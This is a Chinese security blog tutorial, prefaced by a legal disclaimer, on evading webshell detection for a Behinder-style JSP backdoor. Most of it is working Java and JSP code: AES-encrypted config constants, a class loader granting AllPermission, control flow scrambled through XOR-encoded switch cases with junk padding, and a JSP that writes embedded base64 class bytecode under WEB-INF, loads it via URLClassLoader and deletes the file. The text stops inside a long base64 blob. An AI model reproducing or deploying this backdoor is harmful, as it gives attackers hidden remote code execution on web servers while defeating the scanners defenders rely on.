免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。
01 分析特征
目前webshell检测方式还是以检测特征为主,像JSP木马中常见的Runtime、ProcessBuilder、readObject、invoke、defineClass、ClassLoader等,基本上杀软直接就给杀掉了。从这里可以看出,JSP木马主要就是以反射、类加载器、反序列化这几个特征为主。
02 绕过思路
最简单的绕过方式就是避免在代码中直接出现以上特征代码,为了避免直接出现特征代码就得将恶意代码单独写成一个类,然后通过类加载器加载字节码来调用恶意代码。但是目前webshell检测基本只要出现类加载器就判断为高危或者恶意文件,所以需要将加载器与上传的JSP分离,并且JSP文件内容越多,越容易被检测出来。同时为了增加代码分析难度,就需要对代码进行深层的混淆和嵌套,并且尽可能增加获取到如连接密码、密钥等重要信息的难度。
03 嵌套混淆
以冰蝎马为例,先将密码、密钥等各种重要信息写成一个类,并且使用0和O的组合进行代码混淆,这里对信息进行了base64编码和aes加密:
public class B4 {public static final String O0O0O0O0O0O0O0O0O0O0 = "760w4R0RMduY2kVaHZPE/y09RJYRkwGwSzSbj4Q6STE="; //key的MD5前16位public static final String O000000000000000000O = "e7nVD5LUxheThU/dfv5uPQ=="; //upublic static final String OOO000000000000O000O = "azhqeHcycXp2M25maDdtOQ=="; //k8jxw2qzv3nfh7m9 aes密码public static final String O0000000000000000O00 = "QUVT"; //AESpublic static final String O0000000000O000O000O = "QUVTL0NCQy9QS0NTNVBhZGRpbmc="; //AES/CBC/PKCS5Paddingpublic static final String O00000000000O000000O = "wKa6cvSCsfVWcek+6jummw=="; //POSTpublic static final String O0000000OO00O000000O = "9KslUQQKH6jcY+5JozmKickRvBWxmZLya7iGiKMrRT2B1gx3WBcVA13GrV5Q44BEqpHyZkVOjZEWNXJaf37LhccBqWqjvIstlxB8Y5cUrQRLLeuecd1y0yuY0IMKrLaV";
}
定义一个自定义类加载器,用于加载B4.class:
private ClassLoader B4ClassLoader() {return new ClassLoader() {@Overrideprotected Class<?> findClass(String className) {try {String encodedData = "yv66vgAAADQAJAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWBwAIAQAJRXZpbENvbnN0AQAUTzBPME8wTzBPME8wTzBPME8wTzABABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlCAANAQAsNzYwdzRSMFJNZHVZMmtWYUhaUEUveTA5UkpZUmt3R3dTelNiajRRNlNURT0BABRPMDAwMDAwMDAwMDAwMDAwMDAwTwgAEAEAGGU3blZENUxVeGhlVGhVL2RmdjV1UFE9PQEAFE9PTzAwMDAwMDAwMDAwME8wMDBPCAATAQAYYXpocWVIY3ljWHAyTTI1bWFEZHRPUT09AQAUTzAwMDAwMDAwMDAwMDAwMDBPMDAIABYBAARRVVZUAQAUTzAwMDAwMDAwMDBPMDAwTzAwME8IABkBABxRVVZUTDBOQ1F5OVFTME5UTlZCaFpHUnBibWM9AQAUTzAwMDAwMDAwMDAwTzAwMDAwME8IABwBABh3S2E2Y3ZTQ3NmVldjZWsrNmp1bW13PT0BABRPMDAwMDAwME9PMDBPMDAwMDAwTwgAHwEAgDlLc2xVUVFLSDZqY1krNUpvem1LaWNrUnZCV3htWkx5YTdpR2lLTXJSVDJCMWd4M1dCY1ZBMTNHclY1UTQ0QkVxcEh5WmtWT2paRVdOWEphZjM3TGhjY0JxV3FqdklzdGx4QjhZNWNVclFSTExldWVjZDF5MHl1WTBJTUtyTGFWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAClNvdXJjZUZpbGUBAA5FdmlsQ29uc3QuamF2YQAhAAcAAgAAAAcAGQAJAAoAAQALAAAAAgAMABkADgAKAAEACwAAAAIADwAZABEACgABAAsAAAACABIAGQAUAAoAAQALAAAAAgAVABkAFwAKAAEACwAAAAIAGAAZABoACgABAAsAAAACABsAGQAdAAoAAQALAAAAAgAeAAEAAQAFAAYAAQAgAAAAHQABAAEAAAAFKrcAAbEAAAABACEAAAAGAAEAAAADAAEAIgAAAAIAIw==";byte[] classBytes = decodeBase64(encodedData);PermissionCollection permissions = new Permissions();permissions.add(new AllPermission());ProtectionDomain domain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),permissions,this,null);return defineClass(null, classBytes, 0, classBytes.length, domain);} catch (Exception e) {throw new RuntimeException(e);}}private byte[] decodeBase64(String data) {return Base64.getDecoder().decode(data);}};
}
通过反射去获取B4的密钥、密码等信息,用aes解密再进行调用:
public class B3 {
public B3(HttpServletRequest request, HttpSession session, PageContext pageContext) {ClassLoader classLoader = B4ClassLoader();Class<?> targetClass = classLoader.loadClass("");String field1 = (String) targetClass.getField("O0O0O0O0O0O0O0O0O0O0").get(null);String field2 = (String) targetClass.getField("O00000000000O000000O").get(null);String field3 = (String) targetClass.getField("O000000000000000000O").get(null);String field4 = (String) targetClass.getField("O0000000000000000O00").get(null);String field5 = (String) targetClass.getField("OOO000000000000O000O").get(null);String field6 = (String) targetClass.getField("O0000000000O000O000O").get(null);//冰蝎代码部分String field7 = (String) targetClass.getField("O0000000OO00O000000O").get(null);session.setAttribute(aesDecrypt(field3), aesDecrypt(field1));Cipher cipher = Cipher.getInstance(new String(base64Decode(field4)));cipher.init(2, new SecretKeySpec(aesDecrypt(field1).getBytes(), new String(base64Decode(field4))));String inputLine = request.getReader().readLine();byte[] encodedBytes = base64Decode(inputLine);byte[] decryptedBytes = cipher.doFinal(encodedBytes);ClassLoader pocClassLoader = getPocClass(decryptedBytes);Class<?> pocClass = pocClassLoader.loadClass("");pocClass.getDeclaredConstructor().newInstance().equals(pageContext);
}//加解密类加载器代码省略
}
可以看到,代码中还存在loadClass、equals等恶意关键字,并且代码特征明显,一眼就知道这是个webshell。所以我们还需要对冰蝎部分代码进行混淆处理,最常见的混淆方式就是异或加密和变量名随机化,为了让代码更难理解,我这里还参考了网上一些师傅的方法,将代码放入Switch体中去执行,打乱代码顺序,添加无意义的代码增加理解难度。
实现方式如下:
生成一段打乱顺序的数字的数字表,以"|"为分隔符:
23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26
打乱case顺序,利用循环逐个按数字表执行代码:
String a = "23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26"
String[] NumList = a.split("\\|");
int index = 0;
while (true) {int op = Integer.parseInt(NumList[index++]);switch (op) {case 9://xxxxxxbreakcase 20://xxxxxxbreakcase 1://xxxxxxbreakcase 12://xxxxxxbreak//省略...
}
if (index == NumList.length) {break;}
}
现在将数字部分进行异或加密,加密的代码如下:
import java.util.Random;
public class xor {public static void main(String[] args) {Random random = new Random();int a = random.nextInt(1000000);int b = random.nextInt(1000000);int x = a ^ b;int target = 2;int y = x ^ target;int c = random.nextInt(1000000);int d = c ^ y;int result = ((a ^ b) ^ (c ^ d));System.out.println("a: " + a);System.out.println("b: " + b);System.out.println("c: " + c);System.out.println("d: " + d);System.out.println("Result: " + result);System.out.println("Result: (" + a + " ^ " + b + ") ^ (" + c + " ^ " + d + ") = " + result);}
}
替换掉原本的数字:
String a = "23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26"
String[] NumList = a.split("\\|");
int index = (404507 ^ 899544) ^ (963174 ^ 337829);
while (true) {int op = Integer.parseInt(NumList[index++]);switch (op) {case (790601 ^ 898878) ^ (578398 ^ 619552)://xxxxxxbreakcase (247367 ^ 327930) ^ (949851 ^ 571634)://xxxxxxbreakcase (52944 ^ 622333) ^ (15121 ^ 625469)://xxxxxxbreakcase (196875 ^ 285845) ^ (686918 ^ 861908)://xxxxxxbreak//省略...
}
if (index == NumList.length) {break;}
}
然后再添加上无意义的代码并且使用ai将变量名随机化,结合冰蝎代码,得到的B3的主要部分如下:
public class B3 {private String D4fG7h8JkLmN;private String R5tY6u7v8wX9;private String S1a2b3c4d5e6;private String A7sD8fG9h0Jk;private String L1mN2oP3qR4s;private String X5cV6bN7mP8q;private String Q2wE3rT4yU5i;private Cipher Y9z0X8cV7bN6;private String Z1x2c3v4b5n6;private byte[] E7dF8sG9h0J1;private byte[] I9oP8uY7hK6l;private ClassLoader P3qR4sT5uV6w;private Class<?> J7kL8mN9oP0q;public B3(HttpServletRequest N4mO5pQ6rS7t, HttpSession U8vW9xY0zA1b, PageContext C2dE3fG4hI51) {try {ClassLoader M4nO5pQ6rS7t = C7D8E9F0G1H2();Class<?> K8lM9nO0pQ1r = M4nO5pQ6rS7t.loadClass("");D4fG7h8JkLmN = (String) K8lM9nO0pQ1r.getField("O0O0O0O0O0O0O0O0O0O0").get(null);R5tY6u7v8wX9 = (String) K8lM9nO0pQ1r.getField("O00000000000O000000O").get(null);S1a2b3c4d5e6 = (String) K8lM9nO0pQ1r.getField("O000000000000000000O").get(null);L1mN2oP3qR4s = (String) K8lM9nO0pQ1r.getField("O0000000000000000O00").get(null);A7sD8fG9h0Jk = (String) K8lM9nO0pQ1r.getField("OOO000000000000O000O").get(null);X5cV6bN7mP8q = (String) K8lM9nO0pQ1r.getField("O0000000000O000O000O").get(null);Q2wE3rT4yU5i = (String) K8lM9nO0pQ1r.getField("O0000000OO00O000000O").get(null);String[] Y9z0X8cV7bN6List = I3J4K5L6M7N8(Q2wE3rT4yU5i).split("\\|");if (N4mO5pQ6rS7t.getMethod().equals(I3J4K5L6M7N8(R5tY6u7v8wX9))) {Random random = new Random();int A4bC5dE6fG7h = (499309 ^ 334839) ^ (87820 ^ 250518);while (true) {int B8cD9eF0gH1i = Integer.parseInt(Y9z0X8cV7bN6List[A4bC5dE6fG7h++]);switch (B8cD9eF0gH1i) {case (967801 ^ 976651) ^ (985334 ^ 994185):String C2dE3fG4hI5j = new StringBuilder(I3J4K5L6M7N8(S1a2b3c4d5e6)).reverse().toString();U8vW9xY0zA1b.setAttribute("reversedString", C2dE3fG4hI5j);double result = Math.pow(Math.random() * 10, 2);break;case (177362 ^ 370627) ^ (238819 ^ 309232):List<String> D6eF7gH8iJ9k = new ArrayList<>();D6eF7gH8iJ9k.add(I3J4K5L6M7N8(S1a2b3c4d5e6));D6eF7gH8iJ9k.add(I3J4K5L6M7N8(D4fG7h8JkLmN));E7dF8sG9h0J1 = Q5R6S7T8U9V0(Z1x2c3v4b5n6);Collections.shuffle(D6eF7gH8iJ9k);U8vW9xY0zA1b.setAttribute("shuffledList", D6eF7gH8iJ9k);break;case (663245 ^ 979728) ^ (174996 ^ 411221):Calendar E0fG1hI2jK3l = Calendar.getInstance();E0fG1hI2jK3l.set(Calendar.YEAR, 2025);Date date = E0fG1hI2jK3l.getTime();U8vW9xY0zA1b.setAttribute("dummyDate", date);break;case (499468 ^ 784757) ^ (880400 ^ 67962):Thread F4gH5iJ6kL7m = new Thread(() -> {try {Thread.sleep(50);} catch (InterruptedException e) {e.printStackTrace();}});F4gH5iJ6kL7m.start();break;case (888266 ^ 799671) ^ (301006 ^ 338358):int G8hI9jK0lM1n = random.nextInt(100) + random.nextInt(100);U8vW9xY0zA1b.setAttribute("randomValue", G8hI9jK0lM1n);break;case (180570 ^ 536148) ^ (548141 ^ 176699):Pattern H2iJ3kL4mN5o = Pattern.compile("[a-zA-Z0-9]+");Matcher J0kL1mN2oP3q = H2iJ3kL4mN5o.matcher(I3J4K5L6M7N8(S1a2b3c4d5e6));if (J0kL1mN2oP3q.find()) {U8vW9xY0zA1b.setAttribute("matchedGroup", J0kL1mN2oP3q.group());}break;case (173879 ^ 347204) ^ (821198 ^ 748716):File I6jK7lM8nO9p = new File("dummy.txt");U8vW9xY0zA1b.setAttribute(I3J4K5L6M7N8(S1a2b3c4d5e6), I3J4K5L6M7N8(D4fG7h8JkLmN));boolean K4lM5nO6pQ7r = I6jK7lM8nO9p.exists();U8vW9xY0zA1b.setAttribute("fileExists", K4lM5nO6pQ7r);break;case (873414 ^ 402183) ^ (304085 ^ 1037084):InetAddress L8mN9oP0qQ1s = InetAddress.getLoopbackAddress();Y9z0X8cV7bN6.init(2, new SecretKeySpec(I3J4K5L6M7N8(D4fG7h8JkLmN).getBytes(), new String(Q5R6S7T8U9V0(L1mN2oP3qR4s))));U8vW9xY0zA1b.setAttribute("loopbackAddress", L8mN9oP0qQ1s.getHostAddress());break;case (846348 ^ 838459) ^ (372698 ^ 364280):try {Field M2nO3pQ4rS5t = String.class.getDeclaredField("value");M2nO3pQ4rS5t.setAccessible(true);J7kL8mN9oP0q = P3qR4sT5uV6w.loadClass("");Object N6oP7qQ8rS9u = M2nO3pQ4rS5t.get(I3J4K5L6M7N8(S1a2b3c4d5e6));U8vW9xY0zA1b.setAttribute("fieldValue", N6oP7qQ8rS9u);} catch (Exception e) {e.printStackTrace();}break;case (991346 ^ 404062) ^ (234282 ^ 694541):try {Cipher O0pQ1rS2tU3v = Cipher.getInstance(new String(Q5R6S7T8U9V0(L1mN2oP3qR4s)));Z1x2c3v4b5n6 = N4mO5pQ6rS7t.getReader().readLine();O0pQ1rS2tU3v.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(I3J4K5L6M7N8(D4fG7h8JkLmN).getBytes(), new String(Q5R6S7T8U9V0(L1mN2oP3qR4s))));byte[] P4qR5sT6tU7w = O0pQ1rS2tU3v.doFinal(I3J4K5L6M7N8(S1a2b3c4d5e6).getBytes());U8vW9xY0zA1b.setAttribute("encryptedData", P4qR5sT6tU7w);} catch (Exception e) {e.printStackTrace();}break;case (816457 ^ 824071) ^ (283420 ^ 308552):Map<String, Integer> Q8rS9tU0vV1x = new HashMap<>();Q8rS9tU0vV1x.put("dummyKey", 42);Q8rS9tU0vV1x.put(I3J4K5L6M7N8(S1a2b3c4d5e6), random.nextInt(100));U8vW9xY0zA1b.setAttribute("dummyMap", Q8rS9tU0vV1x);break;case (166148 ^ 912402) ^ (528477 ^ 488773):try (InputStream Q8rS9tU0vV1s = new ByteArrayInputStream(I3J4K5L6M7N8(S1a2b3c4d5e6).getBytes())) {U8vW9xY0zA1b.setAttribute(I3J4K5L6M7N8(S1a2b3c4d5e6), I3J4K5L6M7N8(D4fG7h8JkLmN));Y9z0X8cV7bN6 = Cipher.getInstance(new String(Q5R6S7T8U9V0(L1mN2oP3qR4s)));int Q8rS9tU0vV1i = Q8rS9tU0vV1s.read();U8vW9xY0zA1b.setAttribute("byteValue", Q8rS9tU0vV1i);} catch (IOException e) {e.printStackTrace();}break;case (624036 ^ 240466) ^ (820496 ^ 437221):try {throw new UnsupportedOperationException("Dummy exception");} catch (Exception e) {U8vW9xY0zA1b.setAttribute("exceptionMessage", e.getMessage());}break;case (896953 ^ 276288) ^ (615270 ^ 64386):String R2sT3uV4wX5y = String.format("Dummy string: %s", I3J4K5L6M7N8(S1a2b3c4d5e6));U8vW9xY0zA1b.setAttribute("formattedString", R2sT3uV4wX5y);break;case (385748 ^ 271431) ^ (329396 ^ 311351):NumberFormat S6tU7vW8xY9z = NumberFormat.getInstance();S6tU7vW8xY9z.setMaximumFractionDigits(2);double S6tU7vW8xY9x = Math.random() * 100;String S6tU7vW8xY9p = S6tU7vW8xY9z.format(S6tU7vW8xY9x);U8vW9xY0zA1b.setAttribute("formattedNumber", S6tU7vW8xY9p);break;case (632096 ^ 884843) ^ (29657 ^ 284315):int T0uV1wX2yZ3A = 0b10101010;T0uV1wX2yZ3A ^= 0b11110000;U8vW9xY0zA1b.setAttribute("bitwiseResult", T0uV1wX2yZ3A);break;case (40954 ^ 971792) ^ (650145 ^ 499805):int T0uV1wX2yZ3B = 0b10101010;T0uV1wX2yZ3B ^= 0b11110000;U8vW9xY0zA1b.setAttribute("bitwiseResults", T0uV1wX2yZ3B);break;case (199305 ^ 521647) ^ (496433 ^ 224278):Runtime V8wX9yZ0A1B1 = Runtime.getRuntime();long V8wX9yZ0A1Bp = V8wX9yZ0A1B1.freeMemory();U8vW9xY0zA1b.setAttribute("freeMemory", V8wX9yZ0A1Bp);break;case (168612 ^ 163498) ^ (536608 ^ 580661):int[] V8wX9yZ0A1ll = new int[10];Arrays.fill(V8wX9yZ0A1ll, random.nextInt(10));U8vW9xY0zA1b.setAttribute("randomArray", V8wX9yZ0A1ll);break;case (868045 ^ 764721) ^ (333389 ^ 230333):char[] W2xY3zA4B5C6 = I3J4K5L6M7N8(S1a2b3c4d5e6).toCharArray();char X6yZ7A8B9C0D = W2xY3zA4B5C6[random.nextInt(W2xY3zA4B5C6.length)];U8vW9xY0zA1b.setAttribute("randomChar", X6yZ7A8B9C0D);break;case (585829 ^ 117245) ^ (758104 ^ 174276):double Y0zA1B2C3D4E = Math.random() * Math.E;U8vW9xY0zA1b.setAttribute("floatResult", Y0zA1B2C3D4E);break;case (886293 ^ 748722) ^ (241050 ^ 345903):List<Double> Z4xA5B6C7D8E = new ArrayList<>();for (int i = 0; i < 10; i++) {Z4xA5B6C7D8E.add(Math.random() * 100);}P3qR4sT5uV6w = W1X2Y3Z4A5B6(I9oP8uY7hK6l);Collections.sort(Z4xA5B6C7D8E);U8vW9xY0zA1b.setAttribute("sortedNumbers", Z4xA5B6C7D8E);break;case (196317 ^ 860932) ^ (722276 ^ 317604):SimpleDateFormat A8xB9yC0D1E2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");Date A8xB9yC0D1Es = new Date();String A8xG9yC0D1Es = A8xB9yC0D1E2.format(A8xB9yC0D1Es);U8vW9xY0zA1b.setAttribute("formattedDate", A8xG9yC0D1Es);break;case (607597 ^ 578518) ^ (130775 ^ 26730):boolean B2xC3yD4E5F6 = I3J4K5L6M7N8(S1a2b3c4d5e6).equals(I3J4K5L6M7N8(D4fG7h8JkLmN));U8vW9xY0zA1b.setAttribute("isEquals", B2xC3yD4E5F6);break;case (516442 ^ 568830) ^ (696798 ^ 388452):String[] C6yD7xE8F9G0 = I3J4K5L6M7N8(S1a2b3c4d5e6).split("");U8vW9xY0zA1b.setAttribute("stringParts", C6yD7xE8F9G0);break;case (448499 ^ 274677) ^ (386235 ^ 459698):int D0xE1yF2G3H4 = (int) (Math.random() * 100) + (int) (Math.random() * 100);J7kL8mN9oP0q.getDeclaredConstructor().newInstance().equals(C2dE3fG4hI51);U8vW9xY0zA1b.setAttribute("result15", D0xE1yF2G3H4);break;case (288395 ^ 818567) ^ (201886 ^ 724885):String X9yZ1A2B3C4D = I3J4K5L6M7N8(S1a2b3c4d5e6).replaceAll("[a-zA-Z]", "X");U8vW9xY0zA1b.setAttribute("replacedString", X9yZ1A2B3C4D);break;case (660556 ^ 514011) ^ (268207 ^ 644140):Set<String> E5F6G7H8I9J0 = new HashSet<>();I9oP8uY7hK6l = Y9z0X8cV7bN6.doFinal(E7dF8sG9h0J1);E5F6G7H8I9J0.add(I3J4K5L6M7N8(S1a2b3c4d5e6));E5F6G7H8I9J0.add(I3J4K5L6M7N8(D4fG7h8JkLmN));E5F6G7H8I9J0.add("dummy");U8vW9xY0zA1b.setAttribute("dummySet", E5F6G7H8I9J0);break;case (906164 ^ 686585) ^ (336741 ^ 166178):int K1L2M3N4O5P6 = I3J4K5L6M7N8(S1a2b3c4d5e6).length() + I3J4K5L6M7N8(D4fG7h8JkLmN).length();U8vW9xY0zA1b.setAttribute("stringLength", K1L2M3N4O5P6);break;default:break;}if (A4bC5dE6fG7h == Y9z0X8cV7bN6List.length) {break;}}}} catch (Exception e) {throw new RuntimeException(e);}}//类加载器和aes解密代码已省略
}
接下来就是使用jsp调用这段代码,最直接的方法就是使用类加载器直接加载该类的字节码,但是前面也说了,现在只要是出现defineClass类似的关键字就会被识别,无论是重写自定义类加载器还是调用系统的类加载器,直接使用字节码去加载类都会使用到defineClass方法去获取自定义的类字节码。
所以就得换一个思路,为了避免代码中直接出现defineClass关键字,可以使用java.net.URLClassLoader。java.net.URLClassLoader 是 Java 中用于从 URL 路径加载类和资源的类,简而言之就是从本地或者远程加载类文件,只需要将类文件写入到服务器对应可访问路径当中,通过URLClassLoader从服务器资源中加载类。并且该方法加载类不需要手动在代码中使用到defineClass。
将类文件写入到WEN-INF路径下,然后通过URLClassLoader加载,这里我还使用了自定义的加密方法去加密字符串,并且使用了异或和变量随机化,在加载完成后自动删除类文件:
<%!static byte[] O8pQ9qR0sS1i(String G7hI8jK9lM0n) {try {Class<?> A3bC4dE5fG6h = Class.forName("java.util.Base64");java.lang.reflect.Method B7cD8eF9gH0i = A3bC4dE5fG6h.getMethod("getDecoder");Object F3gH4iJ5kL6m = B7cD8eF9gH0i.invoke(null);java.lang.reflect.Method decodeMethod = F3gH4iJ5kL6m.getClass().getMethod(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("0a0c040e0a08"))), String.class);return (byte[]) decodeMethod.invoke(F3gH4iJ5kL6m, G7hI8jK9lM0n);} catch (Exception e) {throw new RuntimeException(e);}}static byte[] P2qR3sS4tT5q(String I5jK6lM7nO8p) {int H1iJ2kL3mN4o = I5jK6lM7nO8p.length();byte[] M1nO2pQ3rS4t = new byte[H1iJ2kL3mN4o / ((217084 ^ 272486) ^ (395312 ^ 94120))];for (int i = ((852103 ^ 29286) ^ (958582 ^ 250519)); i < H1iJ2kL3mN4o; i += ((747762 ^ 857412) ^ (947501 ^ 526489))) {M1nO2pQ3rS4t[i / ((502120 ^ 261010) ^ (862244 ^ 621276))] = (byte) ((Character.digit(I5jK6lM7nO8p.charAt(i), ((674961 ^ 848399) ^ (41187 ^ 401005))) << ((164227 ^ 465603) ^ (956584 ^ 721900)))+ Character.digit(I5jK6lM7nO8p.charAt(i + ((683304 ^ 78290) ^ (527739 ^ 217472))), ((536265 ^ 930472) ^ (219198 ^ 345167))));}return M1nO2pQ3rS4t;}static byte[] Q6rS7tT8uU9n(byte[] F4gH5iJ6kL7m) {byte[] G8hI9jK0lM1n = "niganmaaiyo".getBytes();byte[] I6jK7lM8nO9p = new byte[F4gH5iJ6kL7m.length];byte[] J0kL1mN2oP3q = G8hI9jK0lM1n.clone();for (int i = ((567595 ^ 981750) ^ (25375 ^ 405698)); i < F4gH5iJ6kL7m.length; i += ((195561 ^ 308067) ^ (968574 ^ 561148))) {for (int j = ((777560 ^ 109580) ^ (548017 ^ 142821)); j < ((998407 ^ 778009) ^ (707776 ^ 929750)) && i + j < F4gH5iJ6kL7m.length; j++) {I6jK7lM8nO9p[i + j] = (byte) (F4gH5iJ6kL7m[i + j] ^ J0kL1mN2oP3q[j]);}for (int j = ((374468 ^ 664914) ^ (423405 ^ 648827)); j < J0kL1mN2oP3q.length; j++) {J0kL1mN2oP3q[j] = (byte) (J0kL1mN2oP3q[j] + (i / ((977393 ^ 397196) ^ (661910 ^ 196579))) % ((902651 ^ 740431) ^ (347438 ^ 247194)));}}return I6jK7lM8nO9p;}static String[] S4tU5vV6wW7h(byte[][] N6oP7qQ8rS9u, HttpServletRequest O0pQ1rS2tU3v) {String[] M2nO3pQ4rS5t = new String[(459697 ^ 724888) ^ (292507 ^ 555697)];for (int k = ((907776 ^ 123065) ^ (830962 ^ 38731)); k < ((830450 ^ 86156) ^ (964461 ^ 216080)); k++) {String[] Q8rS9tU0vV1x = new String[]{new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4350"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4353"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a")))};String W2xY3zA4B5C6 = Q8rS9tU0vV1x[k] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e")));String C6yD7xE8F9G0 = O0pQ1rS2tU3v.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e0412")));String D0xE1yF2G3H4 = C6yD7xE8F9G0 + "\\" + W2xY3zA4B5C6;C6yD7xE8F9G0 = C6yD7xE8F9G0.replace("\\", "/");D0xE1yF2G3H4 = D0xE1yF2G3H4.replace("\\", "/");M2nO3pQ4rS5t[k] = D0xE1yF2G3H4;java.io.File I5J6K7L8M9N0 = new java.io.File(C6yD7xE8F9G0);I5J6K7L8M9N0.mkdirs();byte[] O1P2Q3R4S5T6 = N6oP7qQ8rS9u[k];try (java.io.FileOutputStream fileOutputStream = new java.io.FileOutputStream(D0xE1yF2G3H4)) {int S1T2U3V4W5X6 = 1024 * 1024;for (int i = ((711164 ^ 649100) ^ (593261 ^ 668445)); i < O1P2Q3R4S5T6.length; i += S1T2U3V4W5X6) {int E3F4G5H6I7J8 = Math.min(i + S1T2U3V4W5X6, O1P2Q3R4S5T6.length);fileOutputStream.write(O1P2Q3R4S5T6, i, E3F4G5H6I7J8 - i);fileOutputStream.flush();}} catch (Exception e) {throw new RuntimeException(e);}}return M2nO3pQ4rS5t;}
%>
<%try {String Q5R6S7T8U9V0 = "yv66vgAAADQASAkAAgADBwAEDAAFAAYBAAZFdmlsJDEBAAZ0aGlzJDABAAZMRXZpbDsJAAIACAwACQAKAQAQdmFsJEk5b1A4dVk3aEs2bAEAAltCCgAMAA0HAA4MAA8AEAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWBwASAQAZamF2YS9zZWN1cml0eS9QZXJtaXNzaW9ucwoAEQAUDAAPABUBAAMoKVYHABcBABtqYXZhL3NlY3VyaXR5L0FsbFBlcm1pc3Npb24KABYAFAoAGgAbBwAcDAAdAB4BACJqYXZhL3NlY3VyaXR5L1Blcm1pc3Npb25Db2xsZWN0aW9uAQADYWRkAQAdKExqYXZhL3NlY3VyaXR5L1Blcm1pc3Npb247KVYHACABAB5qYXZhL3NlY3VyaXR5L1Byb3RlY3Rpb25Eb21haW4HACIBABhqYXZhL3NlY3VyaXR5L0NvZGVTb3VyY2UHACQBACFbTGphdmEvc2VjdXJpdHkvY2VydC9DZXJ0aWZpY2F0ZTsKACEAJgwADwAnAQAyKExqYXZhL25ldC9VUkw7W0xqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydGlmaWNhdGU7KVYKAB8AKQwADwAqAQByKExqYXZhL3NlY3VyaXR5L0NvZGVTb3VyY2U7TGphdmEvc2VjdXJpdHkvUGVybWlzc2lvbkNvbGxlY3Rpb247TGphdmEvbGFuZy9DbGFzc0xvYWRlcjtbTGphdmEvc2VjdXJpdHkvUHJpbmNpcGFsOylWCgACACwMAC0ALgEAC2RlZmluZUNsYXNzAQBJKExqYXZhL2xhbmcvU3RyaW5nO1tCSUlMamF2YS9zZWN1cml0eS9Qcm90ZWN0aW9uRG9tYWluOylMamF2YS9sYW5nL0NsYXNzOwcAMAEAE2phdmEvbGFuZy9FeGNlcHRpb24HADIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAMQA0DAAPADUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBACIoTEV2aWw7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjtbQilWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEE1ldGhvZFBhcmFtZXRlcnMBAAlmaW5kQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQANU3RhY2tNYXBUYWJsZQEACVNpZ25hdHVyZQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczwqPjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhAQAPRW5jbG9zaW5nTWV0aG9kBwBDAQAERXZpbAwARQBGAQAMVzFYMlkzWjRBNUI2AQAbKFtCKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMSW5uZXJDbGFzc2VzACAAAgAMAAAAAhAQAAkACgAAEBAABQAGAAAAAgAAAA8ANgACADcAAAAoAAIABAAAABAqK7UAASottQAHKiy3AAuxAAAAAQA4AAAABgABAAABRQA5AAAADQMAAIAQAAAAAAAAEBAABAA6ADsAAgA3AAAAhQAGAAQAAABFuwARWbcAE00suwAWWbcAGLYAGbsAH1m7ACFZAQHAACO3ACUsKgG3AChOKgEqtAAHAyq0AAe+LbYAK7BNuwAxWSy3ADO/AAEAAAA6ADsALwACADgAAAAaAAYAAAFJAAgBSgATAUsAKgFRADsBUgA8AVMAPAAAAAYAAXsHAC8APQAAAAIAPgADAD8AAAACAEAAQQAAAAQAQgBEAEcAAAAKAAEAAgAAAAAAAA==";String W1X2Y3Z4A5B6 = "yv66vgAAADQASAkAAgADBwAEDAAFAAYBAAZFdmlsJDIBAAZ0aGlzJDABAAZMRXZpbDsKAAgACQcACgwACwAMAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAGPGluaXQ+AQADKClWCAAOAQRIeXY2NnZnQUFBRFFBSkFvQUFnQURCd0FFREFBRkFBWUJBQkJxWVhaaEwyeGhibWN2VDJKcVpXTjBBUUFHUEdsdWFYUStBUUFES0NsV0J3QUlBUUFKUlhacGJFTnZibk4wQVFBVVR6QlBNRTh3VHpCUE1FOHdUekJQTUU4d1R6QUJBQkpNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUExRGIyNXpkR0Z1ZEZaaGJIVmxDQUFOQVFBc056WXdkelJTTUZKTlpIVlpNbXRXWVVoYVVFVXZlVEE1VWtwWlVtdDNSM2RUZWxOaWFqUlJObE5VUlQwQkFCUlBNREF3TURBd01EQXdNREF3TURBd01EQXdUd2dBRUFFQUdHVTNibFpFTlV4VmVHaGxWR2hWTDJSbWRqVjFVRkU5UFFFQUZFOVBUekF3TURBd01EQXdNREF3TUU4d01EQlBDQUFUQVFBWVlYcG9jV1ZJWTNsaldIQXlUVEkxYldGRVpIUlBVVDA5QVFBVVR6QXdNREF3TURBd01EQXdNREF3TURCUE1EQUlBQllCQUFSUlZWWlVBUUFVVH